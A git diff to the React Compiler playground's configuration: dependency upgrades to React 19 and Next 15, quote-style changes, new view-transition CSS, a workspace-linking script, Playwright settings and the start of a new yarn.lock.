+export const CONFIG_PANEL_TRANSITION = 'config-panel';
+export const TOGGLE_TAB_TRANSITION = 'toggle-tab';
+export const TOGGLE_INTERNALS_TRANSITION = 'toggle-internals';
+export const EXPAND_ACCORDION_TRANSITION = 'open-accordion';
diff --git a/compiler/apps/playground/lib/types.d.ts b/compiler/apps/playground/lib/types.d.ts
new file mode 100644
index 000000000000..40771d183c06
--- /dev/null
+++ b/compiler/apps/playground/lib/types.d.ts
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+// v0.17.1
+declare module "hermes-parser" {
+  type HermesParserOptions = {
+    allowReturnOutsideFunction?: boolean;
+    babel?: boolean;
+    flow?: "all" | "detect";
+    enableExperimentalComponentSyntax?: boolean;
+    sourceFilename?: string;
+    sourceType?: "module" | "script" | "unambiguous";
+    tokens?: boolean;
+  };
+  export function parse(code: string, options: Partial<HermesParserOptions>);
+}
diff --git a/compiler/apps/playground/next-env.d.ts b/compiler/apps/playground/next-env.d.ts
deleted file mode 100644
index 4f11a03dc6cc..000000000000
--- a/compiler/apps/playground/next-env.d.ts
+++ /dev/null
@@ -1,5 +0,0 @@
-/// <reference types="next" />
-/// <reference types="next/image-types/global" />
-
-// NOTE: This file should not be edited
-// see https://nextjs.org/docs/basic-features/typescript for more information.
diff --git a/compiler/apps/playground/next.config.js b/compiler/apps/playground/next.config.js
index ddb2f958caed..f34f958ec6d2 100644
--- a/compiler/apps/playground/next.config.js
+++ b/compiler/apps/playground/next.config.js
@@ -5,40 +5,49 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const MonacoWebpackPlugin = require("monaco-editor-webpack-plugin");
-const path = require("path");
+const MonacoWebpackPlugin = require('monaco-editor-webpack-plugin');
+const path = require('path');
 
 const nextConfig = {
+  experimental: {
+    reactCompiler: true,
+    viewTransition: true,
+  },
   reactStrictMode: true,
   webpack: (config, options) => {
     // Load *.d.ts files as strings using https://webpack.js.org/guides/asset-modules/#source-assets.
     config.module.rules.push({
       test: /\.d\.ts/,
-      type: "asset/source",
+      type: 'asset/source',
     });
 
     // Monaco Editor
     if (!options.isServer) {
       config.plugins.push(
         new MonacoWebpackPlugin({
-          languages: ["typescript", "javascript"],
-          filename: "static/[name].worker.js",
+          languages: ['typescript', 'javascript'],
+          filename: 'static/[name].worker.js',
         })
       );
     }
 
     config.resolve.alias = {
       ...config.resolve.alias,
-      "react-compiler-runtime": path.resolve(
+      'react-compiler-runtime': path.resolve(
         __dirname,
-        "../../packages/react-compiler-runtime"
+        '../../packages/react-compiler-runtime'
       ),
     };
+    config.resolve.fallback = {
+      fs: false,
+      path: false,
+      os: false,
+    };
 
     return config;
   },
 
-  transpilePackages: ["monaco-editor"],
+  transpilePackages: ['monaco-editor'],
 };
 
 module.exports = nextConfig;
diff --git a/compiler/apps/playground/package.json b/compiler/apps/playground/package.json
index c5cd50e24b1b..65f27158d8f2 100644
--- a/compiler/apps/playground/package.json
+++ b/compiler/apps/playground/package.json
@@ -3,58 +3,63 @@
   "version": "0.1.0",
   "private": true,
   "scripts": {
-    "dev": "NODE_ENV=development next dev",
-    "build": "next build && node ./scripts/downloadFonts.js",
-    "vercel-build": "yarn workspaces run build",
+    "dev": "cd ../.. && concurrently --kill-others -n compiler,runtime,playground \"yarn workspace babel-plugin-react-compiler run watch\" \"yarn workspace react-compiler-runtime run watch\" \"wait-on packages/babel-plugin-react-compiler/dist/index.js && cd apps/playground && NODE_ENV=development next dev\"",
+    "build:compiler": "cd ../.. && concurrently -n compiler,runtime \"yarn workspace babel-plugin-react-compiler run build --dts\" \"yarn workspace react-compiler-runtime run build\"",
+    "build": "yarn build:compiler && next build",
+    "postbuild": "node ./scripts/downloadFonts.js",
+    "preinstall": "cd ../.. && yarn install --frozen-lockfile",
+    "postinstall": "./scripts/link-compiler.sh",
+    "vercel-build": "yarn build",
     "start": "next start",
     "lint": "next lint",
-    "test": "playwright test"
+    "test": "playwright test --workers=4"
   },
   "dependencies": {
-    "@babel/core": "^7.19.1",
-    "@babel/parser": "^7.19.1",
-    "@babel/plugin-syntax-typescript": "^7.18.6",
+    "@babel/core": "^7.18.9",
+    "@babel/generator": "^7.18.9",
+    "@babel/parser": "^7.18.9",
+    "@babel/plugin-syntax-typescript": "^7.18.9",
     "@babel/plugin-transform-block-scoping": "^7.18.9",
-    "@babel/plugin-transform-modules-commonjs": "^7.18.6",
-    "@babel/preset-react": "^7.18.6",
-    "@babel/preset-typescript": "^7.18.6",
-    "@babel/traverse": "^7.19.1",
-    "@babel/types": "^7.19.0",
+    "@babel/plugin-transform-modules-commonjs": "^7.18.9",
+    "@babel/preset-react": "^7.18.9",
+    "@babel/preset-typescript": "^7.26.0",
+    "@babel/traverse": "^7.18.9",
+    "@babel/types": "7.26.3",
     "@heroicons/react": "^1.0.6",
-    "@monaco-editor/react": "^4.4.6",
-    "@playwright/test": "^1.42.1",
+    "@monaco-editor/react": "^4.8.0-rc.2",
+    "@playwright/test": "^1.56.1",
     "@use-gesture/react": "^10.2.22",
-    "hermes-eslint": "^0.14.0",
+    "hermes-eslint": "^0.25.0",
+    "hermes-parser": "^0.25.0",
     "invariant": "^2.2.4",
+    "json5": "^2.2.3",
+    "lru-cache": "^11.2.2",
     "lz-string": "^1.5.0",
-    "monaco-editor": "^0.34.1",
-    "next": "^13.5.6",
+    "monaco-editor": "^0.52.0",
+    "next": "15.5.9",
     "notistack": "^3.0.0-alpha.7",
-    "prettier": "3.0.3",
+    "prettier": "^3.3.3",
     "pretty-format": "^29.3.1",
     "re-resizable": "^6.9.16",
-    "react": "18.2.0",
-    "react-dom": "18.2.0",
-    "react-compiler-runtime": "*"
+    "react": "19.2.3",
+    "react-dom": "19.2.3"
   },
   "devDependencies": {
     "@types/node": "18.11.9",
-    "@types/prettier": "^2.7.1",
-    "@types/react": "18.0.25",
-    "@types/react-dom": "18.0.9",
+    "@types/react": "19.2",
+    "@types/react-dom": "19.2",
     "autoprefixer": "^10.4.13",
     "clsx": "^1.2.1",
+    "concurrently": "^7.4.0",
     "eslint": "^8.28.0",
-    "eslint-config-next": "^13.5.6",
+    "eslint-config-next": "15.5.2",
     "monaco-editor-webpack-plugin": "^7.1.0",
     "postcss": "^8.4.31",
-    "tailwindcss": "^3.2.4"
+    "tailwindcss": "^3.2.4",
+    "wait-on": "^7.2.0"
   },
   "resolutions": {
-    "./**/@babel/parser": "7.7.4",
-    "./**/@babel/types": "7.7.4",
-    "@babel/core": "7.2.0",
-    "@babel/traverse": "7.1.6",
-    "@babel/generator": "7.2.0"
+    "@types/react": "19.2",
+    "@types/react-dom": "19.2"
   }
 }
diff --git a/compiler/apps/playground/playwright.config.js b/compiler/apps/playground/playwright.config.js
index ab0c2585a75a..10de19457ff0 100644
--- a/compiler/apps/playground/playwright.config.js
+++ b/compiler/apps/playground/playwright.config.js
@@ -5,8 +5,8 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { defineConfig, devices } from "@playwright/test";
-import path from "path";
+import {defineConfig, devices} from '@playwright/test';
+import path from 'path';
 
 // Use process.env.PORT by default and fallback to port 3000
 const PORT = process.env.PORT || 3000;
@@ -18,25 +18,30 @@ const baseURL = `http://localhost:${PORT}`;
 export default defineConfig({
   // Timeout per test
   timeout: 30 * 1000,
+  // Run all tests in parallel.
+  fullyParallel: true,
   // Test directory
-  testDir: path.join(__dirname, "__tests__/e2e"),
+  testDir: path.join(__dirname, '__tests__/e2e'),
   // If a test fails, retry it additional 2 times
-  retries: 2,
+  retries: 3,
   // Artifacts folder where screenshots, videos, and traces are stored.
-  outputDir: "test-results/",
+  outputDir: 'test-results/',
   // Note: we only use text snapshots, so its safe to omit the host environment name
-  snapshotPathTemplate: "{testDir}/__snapshots__/{testFilePath}/{arg}{ext}",
+  snapshotPathTemplate: '{testDir}/__snapshots__/{testFilePath}/{arg}{ext}',
 
   // Run your local dev server before starting the tests:
   // https://playwright.dev/docs/test-advanced#launching-a-development-web-server-during-the-tests
   webServer: {
-    command:
-      "yarn workspace babel-plugin-react-compiler build && yarn workspace react-compiler-runtime build && yarn dev",
+    command: 'yarn dev',
     url: baseURL,
     timeout: 300 * 1000,
     reuseExistingServer: !process.env.CI,
   },
 
+  // 'github' for GitHub Actions CI to generate annotations, plus a concise 'dot'
+  // default 'list' when running locally
+  reporter: process.env.CI ? 'github' : 'list',
+
   use: {
     // Use baseURL so to make navigations relative.
     // More information: https://playwright.dev/docs/api/class-testoptions#test-options-base-url
@@ -44,18 +49,22 @@ export default defineConfig({
 
     // Retry a test if its failing with enabled tracing. This allows you to analyze the DOM, console logs, network traffic etc.
     // More information: https://playwright.dev/docs/trace-viewer
-    trace: "retry-with-trace",
+    trace: 'retry-with-trace',
 
     // All available context options: https://playwright.dev/docs/api/class-browser#browser-new-context
     // contextOptions: {
     //   ignoreHTTPSErrors: true,
     // },
+    viewport: {width: 1920, height: 1080},
   },
 
   projects: [
     {
-      name: "chromium",
-      use: { ...devices["Desktop Chrome"] },
+      name: 'chromium',
+      use: {
+        ...devices['Desktop Chrome'],
+        viewport: {width: 1920, height: 1080},
+      },
     },
     // {
     //   name: 'Desktop Firefox',
diff --git a/compiler/apps/playground/scripts/downloadFonts.js b/compiler/apps/playground/scripts/downloadFonts.js
index 0925a64f7813..1e72bcf948ee 100644
--- a/compiler/apps/playground/scripts/downloadFonts.js
+++ b/compiler/apps/playground/scripts/downloadFonts.js
@@ -5,16 +5,16 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const { execSync } = require("child_process");
+const {execSync} = require('child_process');
 
 // So that we don't need to check them into the repo.
 // See https://github.com/reactjs/reactjs.org/blob/main/beta/scripts/downloadFonts.js.
 execSync(
-  "curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Lt.woff2 --output public/fonts/Optimistic_Display_W_Lt.woff2"
+  'curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Lt.woff2 --output public/fonts/Optimistic_Display_W_Lt.woff2'
 );
 execSync(
-  "curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Md.woff2 --output public/fonts/Optimistic_Display_W_Md.woff2"
+  'curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Md.woff2 --output public/fonts/Optimistic_Display_W_Md.woff2'
 );
 execSync(
-  "curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Bd.woff2 --output public/fonts/Optimistic_Display_W_Bd.woff2"
+  'curl https://conf.reactjs.org/fonts/Optimistic_Display_W_Bd.woff2 --output public/fonts/Optimistic_Display_W_Bd.woff2'
 );
diff --git a/compiler/apps/playground/scripts/link-compiler.sh b/compiler/apps/playground/scripts/link-compiler.sh
new file mode 100755
index 000000000000..96188f7b4513
--- /dev/null
+++ b/compiler/apps/playground/scripts/link-compiler.sh
@@ -0,0 +1,15 @@
+#!/usr/bin/env bash
+# Copyright (c) Meta Platforms, Inc. and affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+set -eo pipefail
+
+HERE=$(pwd)
+
+cd ../../packages/react-compiler-runtime && yarn --silent link && cd "$HERE"
+cd ../../packages/babel-plugin-react-compiler && yarn --silent link && cd "$HERE"
+
+yarn --silent link babel-plugin-react-compiler
+yarn --silent link react-compiler-runtime
diff --git a/compiler/apps/playground/styles/globals.css b/compiler/apps/playground/styles/globals.css
index c4558eb8b8a9..ead5d83a65d9 100644
--- a/compiler/apps/playground/styles/globals.css
+++ b/compiler/apps/playground/styles/globals.css
@@ -69,3 +69,75 @@
     scrollbar-width: none; /* Firefox */
   }
 }
+
+::view-transition-old(.slide-in) {
+  animation-name: slideOutLeft;
+}
+::view-transition-new(.slide-in) {
+  animation-name: slideInLeft;
+}
+::view-transition-group(.slide-in) {
+  z-index: 1;
+}
+::view-transition-old(.slide-out) {
+  animation-name: slideOutLeft;
+}
+::view-transition-new(.slide-out) {
+  animation-name: slideInLeft;
+}
+::view-transition-group(.slide-out) {
+  z-index: 1;
+}
+
+@keyframes slideOutLeft {
+  from {
+    transform: translateX(0);
+  }
+  to {
+    transform: translateX(-100%);
+  }
+}
+@keyframes slideInLeft {
+  from {
+    transform: translateX(-100%);
+  }
+  to {
+    transform: translateX(0);
+  }
+}
+
+::view-transition-old(.container),
+::view-transition-new(.container) {
+  height: 100%;
+}
+
+::view-transition-old(.accordion-container),
+::view-transition-new(.accordion-container) {
+  height: 100%;
+  object-fit: none;
+  object-position: left;
+}
+
+::view-transition-old(.tab-highlight),
+::view-transition-new(.tab-highlight) {
+  height: 100%;
+}
+::view-transition-group(.tab-text) {
+	z-index: 1;
+}
+
+::view-transition-old(.expand-accordion),
+::view-transition-new(.expand-accordion) {
+  width: auto;
+}
+::view-transition-group(.expand-accordion) {
+  overflow: clip;
+}
+
+/**
+ * For some reason, the original Monaco editor is still visible to the
+ * left of the DiffEditor. This is a workaround for better visual clarity.
+ */
+.monaco-diff-editor .editor.original{
+  visibility: hidden !important;
+}
diff --git a/compiler/apps/playground/tailwind.config.js b/compiler/apps/playground/tailwind.config.js
index c8ba1d1af59c..2138d1cc70ee 100644
--- a/compiler/apps/playground/tailwind.config.js
+++ b/compiler/apps/playground/tailwind.config.js
@@ -5,33 +5,33 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-const defaultTheme = require("tailwindcss/defaultTheme");
-const colors = require("./colors");
+const defaultTheme = require('tailwindcss/defaultTheme');
+const colors = require('./colors');
 
 module.exports = {
   content: [
-    "./app/**/*.{js,ts,jsx,tsx}",
-    "./pages/**/*.{js,ts,jsx,tsx}",
-    "./components/**/*.{js,ts,jsx,tsx}",
-    "./lib/forgetMonacoDiagnostics.ts",
+    './app/**/*.{js,ts,jsx,tsx}',
+    './pages/**/*.{js,ts,jsx,tsx}',
+    './components/**/*.{js,ts,jsx,tsx}',
+    './lib/forgetMonacoDiagnostics.ts',
   ],
   theme: {
     extend: {
       colors,
       width: {
-        toast: "min(900px, 100vw - 40px)",
-        "toast-body": "calc(100% - 60px)",
-        "toast-title": "calc(100% - 40px)",
+        toast: 'min(900px, 100vw - 40px)',
+        'toast-body': 'calc(100% - 60px)',
+        'toast-title': 'calc(100% - 40px)',
       },
       height: {
-        content: "calc(100vh - 45px)",
-        monaco: "calc(100vh - 93px)",
-        monaco_small: "calc(100vh - 129px)",
+        content: 'calc(100vh - 45px)',
+        monaco: 'calc(100vh - 93px)',
+        monaco_small: 'calc(100vh - 129px)',
       },
       fontFamily: {
         sans: [
-          "Optimistic Display",
-          "-apple-system",
+          'Optimistic Display',
+          '-apple-system',
           ...defaultTheme.fontFamily.sans,
         ],
       },
diff --git a/compiler/apps/playground/tsconfig.json b/compiler/apps/playground/tsconfig.json
index 55d0b209b952..1ead55cc96e7 100644
--- a/compiler/apps/playground/tsconfig.json
+++ b/compiler/apps/playground/tsconfig.json
@@ -6,6 +6,9 @@
       "dom.iterable",
       "esnext"
     ],
+    "types": [
+      "react/experimental"
+    ],
     "allowJs": true,
     "skipLibCheck": true,
     "strict": true,
@@ -31,6 +34,7 @@
     ".next/types/**/*.ts"
   ],
   "exclude": [
-    "node_modules"
+    "node_modules",
+    "../../../**"
   ]
 }
diff --git a/compiler/apps/playground/yarn.lock b/compiler/apps/playground/yarn.lock
new file mode 100644
index 000000000000..be63ac56b61c
--- /dev/null
+++ b/compiler/apps/playground/yarn.lock
@@ -0,0 +1,4582 @@
+# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
+# yarn lockfile v1
+
+
+"@alloc/quick-lru@^5.2.0":
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/@alloc/quick-lru/-/quick-lru-5.2.0.tgz#7bf68b20c0a350f936915fcae06f58e32007ce30"
+  integrity sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==
+
+"@ampproject/remapping@^2.2.0":
+  version "2.3.0"
+  resolved "https://registry.yarnpkg.com/@ampproject/remapping/-/remapping-2.3.0.tgz#ed441b6fa600072520ce18b43d2c8cc8caecc7f4"
+  integrity sha512-30iZtAPgz+LTIYoeivqYo853f02jBYSd5uGnGpkFV0M3xOt9aN73erkgYAmZU43x4VfqcnLxW9Kpg3R5LC4YYw==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@babel/code-frame@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.24.7.tgz#882fd9e09e8ee324e496bd040401c6f046ef4465"
+  integrity sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA==
+  dependencies:
+    "@babel/highlight" "^7.24.7"
+    picocolors "^1.0.0"
+
+"@babel/code-frame@^7.26.2":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/compat-data@^7.25.2":
+  version "7.25.4"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.25.4.tgz#7d2a80ce229890edcf4cc259d4d696cb4dae2fcb"
+  integrity sha512-+LGRog6RAsCJrrrg/IO6LGmpphNe5DiK30dGjCoxxeGv49B10/3XYGxPsAwrDlMFcFEvdAUavDT8r9k/hSyQqQ==
+
+"@babel/core@^7.18.9":
+  version "7.25.2"
+  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.25.2.tgz#ed8eec275118d7613e77a352894cd12ded8eba77"
+  integrity sha512-BBt3opiCOxUr9euZ5/ro/Xv8/V7yJ5bjYMqG/C1YAo8MIKAnumZalCN+msbci3Pigy4lIQfPUpfMM27HMGaYEA==
+  dependencies:
+    "@ampproject/remapping" "^2.2.0"
+    "@babel/code-frame" "^7.24.7"
+    "@babel/generator" "^7.25.0"
+    "@babel/helper-compilation-targets" "^7.25.2"
+    "@babel/helper-module-transforms" "^7.25.2"
+    "@babel/helpers" "^7.25.0"
+    "@babel/parser" "^7.25.0"
+    "@babel/template" "^7.25.0"
+    "@babel/traverse" "^7.25.2"
+    "@babel/types" "^7.25.2"
+    convert-source-map "^2.0.0"
+    debug "^4.1.0"
+    gensync "^1.0.0-beta.2"
+    json5 "^2.2.3"
+    semver "^6.3.1"
+
+"@babel/generator@^7.18.9", "@babel/generator@^7.25.0", "@babel/generator@^7.25.6":
+  version "7.25.6"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.25.6.tgz#0df1ad8cb32fe4d2b01d8bf437f153d19342a87c"
+  integrity sha512-VPC82gr1seXOpkjAAKoLhP50vx4vGNlF4msF64dSFq1P8RfB+QAuJWGHPXXPc8QyfVWwwB/TNNU4+ayZmHNbZw==
+  dependencies:
+    "@babel/types" "^7.25.6"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^2.5.1"
+
+"@babel/generator@^7.26.10":
+  version "7.26.10"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.10.tgz#a60d9de49caca16744e6340c3658dfef6138c3f7"
+  integrity sha512-rRHT8siFIXQrAYOYqZQVsAr8vJ+cBNqcVAY6m5V8/4QqzaPl+zDBe6cLEPRDuNOUf3ww8RfJVlOyQMoSI+5Ang==
+  dependencies:
+    "@babel/parser" "^7.26.10"
+    "@babel/types" "^7.26.10"
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+    jsesc "^3.0.2"
+
+"@babel/helper-annotate-as-pure@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.24.7.tgz#5373c7bc8366b12a033b4be1ac13a206c6656aab"
+  integrity sha512-BaDeOonYvhdKw+JoMVkAixAAJzG2jVPIwWoKBPdYuY9b452e2rPuI9QPYh3KpofZ3pW2akOmwZLOiOsHMiqRAg==
+  dependencies:
+    "@babel/types" "^7.24.7"
+
+"@babel/helper-annotate-as-pure@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.25.9.tgz#d8eac4d2dc0d7b6e11fa6e535332e0d3184f06b4"
+  integrity sha512-gv7320KBUFJz1RnylIg5WWYPRXKZ884AGkYpgpWW02TH66Dl+HaC1t1CKd0z3R4b6hdYEcmrNZHUmfCP+1u3/g==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-compilation-targets@^7.25.2":
+  version "7.25.2"
+  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.25.2.tgz#e1d9410a90974a3a5a66e84ff55ef62e3c02d06c"
+  integrity sha512-U2U5LsSaZ7TAt3cfaymQ8WHh0pxvdHoEk6HVpaexxixjyEquMh0L0YNJNM6CTGKMXV1iksi0iZkGw4AcFkPaaw==
+  dependencies:
+    "@babel/compat-data" "^7.25.2"
+    "@babel/helper-validator-option" "^7.24.8"
+    browserslist "^4.23.1"
+    lru-cache "^5.1.1"
+    semver "^6.3.1"
+
+"@babel/helper-create-class-features-plugin@^7.25.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.26.9.tgz#d6f83e3039547fbb39967e78043cd3c8b7820c71"
+  integrity sha512-ubbUqCofvxPRurw5L8WTsCLSkQiVpov4Qx0WMA+jUN+nXBK8ADPlJO1grkFw5CWKC5+sZSOfuGMdX1aI1iT9Sg==
+  dependencies:
+    "@babel/helper-annotate-as-pure" "^7.25.9"
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/helper-replace-supers" "^7.26.5"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/traverse" "^7.26.9"
+    semver "^6.3.1"
+
+"@babel/helper-member-expression-to-functions@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.25.9.tgz#9dfffe46f727005a5ea29051ac835fb735e4c1a3"
+  integrity sha512-wbfdZ9w5vk0C0oyHqAJbc62+vet5prjj01jjJ8sKn3j9h3MQQlflEdXYvuqRWjHnM12coDEqiC1IRCi0U/EKwQ==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-imports@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.24.7.tgz#f2f980392de5b84c3328fc71d38bd81bbb83042b"
+  integrity sha512-8AyH3C+74cgCVVXow/myrynrAGv+nTVg5vKu2nZph9x7RcRwzmh0VFallJuFTZ9mx6u4eSdXZfcOzSqTUm0HCA==
+  dependencies:
+    "@babel/traverse" "^7.24.7"
+    "@babel/types" "^7.24.7"
+
+"@babel/helper-module-imports@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.25.9.tgz#e7f8d20602ebdbf9ebbea0a0751fb0f2a4141715"
+  integrity sha512-tnUA4RsrmflIM6W6RFTLFSXITtl0wKjgpnLgXyowocVPrbYrLUXSBXDgTs8BlbmIzIdlBySRQjINYs2BAkiLtw==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-module-transforms@^7.24.8", "@babel/helper-module-transforms@^7.25.2":
+  version "7.25.2"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.25.2.tgz#ee713c29768100f2776edf04d4eb23b8d27a66e6"
+  integrity sha512-BjyRAbix6j/wv83ftcVJmBt72QtHI56C7JXZoG2xATiLpmoC7dpd8WnkikExHDVPpi/3qCmO6WY1EaXOluiecQ==
+  dependencies:
+    "@babel/helper-module-imports" "^7.24.7"
+    "@babel/helper-simple-access" "^7.24.7"
+    "@babel/helper-validator-identifier" "^7.24.7"
+    "@babel/traverse" "^7.25.2"
+
+"@babel/helper-module-transforms@^7.26.0":
+  version "7.26.0"
+  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.26.0.tgz#8ce54ec9d592695e58d84cd884b7b5c6a2fdeeae"
+  integrity sha512-xO+xu6B5K2czEnQye6BHA7DolFFmS3LB7stHZFaOLb1pAwO1HWLS8fXA+eh0A2yIvltPVmx3eNNDBJA2SLHXFw==
+  dependencies:
+    "@babel/helper-module-imports" "^7.25.9"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/helper-optimise-call-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.25.9.tgz#3324ae50bae7e2ab3c33f60c9a877b6a0146b54e"
+  integrity sha512-FIpuNaz5ow8VyrYcnXQTDRGvV6tTjkNtCK/RYNDXGSLlUD6cBuQTSw43CShGxjvfBTfcUA/r6UhUCbtYqkhcuQ==
+  dependencies:
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-plugin-utils@^7.24.7", "@babel/helper-plugin-utils@^7.24.8":
+  version "7.24.8"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.24.8.tgz#94ee67e8ec0e5d44ea7baeb51e571bd26af07878"
+  integrity sha512-FFWx5142D8h2Mgr/iPVGH5G7w6jDn4jUSpZTyDnQO0Yn7Ks2Kuz6Pci8H6MPCoUJegd/UZQ3tAvfLCxQSnWWwg==
+
+"@babel/helper-plugin-utils@^7.25.9", "@babel/helper-plugin-utils@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.26.5.tgz#18580d00c9934117ad719392c4f6585c9333cc35"
+  integrity sha512-RS+jZcRdZdRFzMyr+wcsaqOmld1/EqTghfaBGQQd/WnRdzdlvSZ//kF7U8VQTxf1ynZ4cjUcYgjVGx13ewNPMg==
+
+"@babel/helper-replace-supers@^7.26.5":
+  version "7.26.5"
+  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.26.5.tgz#6cb04e82ae291dae8e72335dfe438b0725f14c8d"
+  integrity sha512-bJ6iIVdYX1YooY2X7w1q6VITt+LnUILtNk7zT78ykuwStx8BauCzxvFqFaHjOpW1bVnSUM1PN1f0p5P21wHxvg==
+  dependencies:
+    "@babel/helper-member-expression-to-functions" "^7.25.9"
+    "@babel/helper-optimise-call-expression" "^7.25.9"
+    "@babel/traverse" "^7.26.5"
+
+"@babel/helper-simple-access@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.24.7.tgz#bcade8da3aec8ed16b9c4953b74e506b51b5edb3"
+  integrity sha512-zBAIvbCMh5Ts+b86r/CjU+4XGYIs+R1j951gxI3KmmxBMhCg4oQMsv6ZXQ64XOm/cvzfU1FmoCyt6+owc5QMYg==
+  dependencies:
+    "@babel/traverse" "^7.24.7"
+    "@babel/types" "^7.24.7"
+
+"@babel/helper-skip-transparent-expression-wrappers@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz#0b2e1b62d560d6b1954893fd2b705dc17c91f0c9"
+  integrity sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-string-parser@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz#1aabb72ee72ed35789b4bbcad3ca2862ce614e8c"
+  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
+
+"@babel/helper-validator-identifier@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.7.tgz#75b889cfaf9e35c2aaf42cf0d72c8e91719251db"
+  integrity sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==
+
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
+
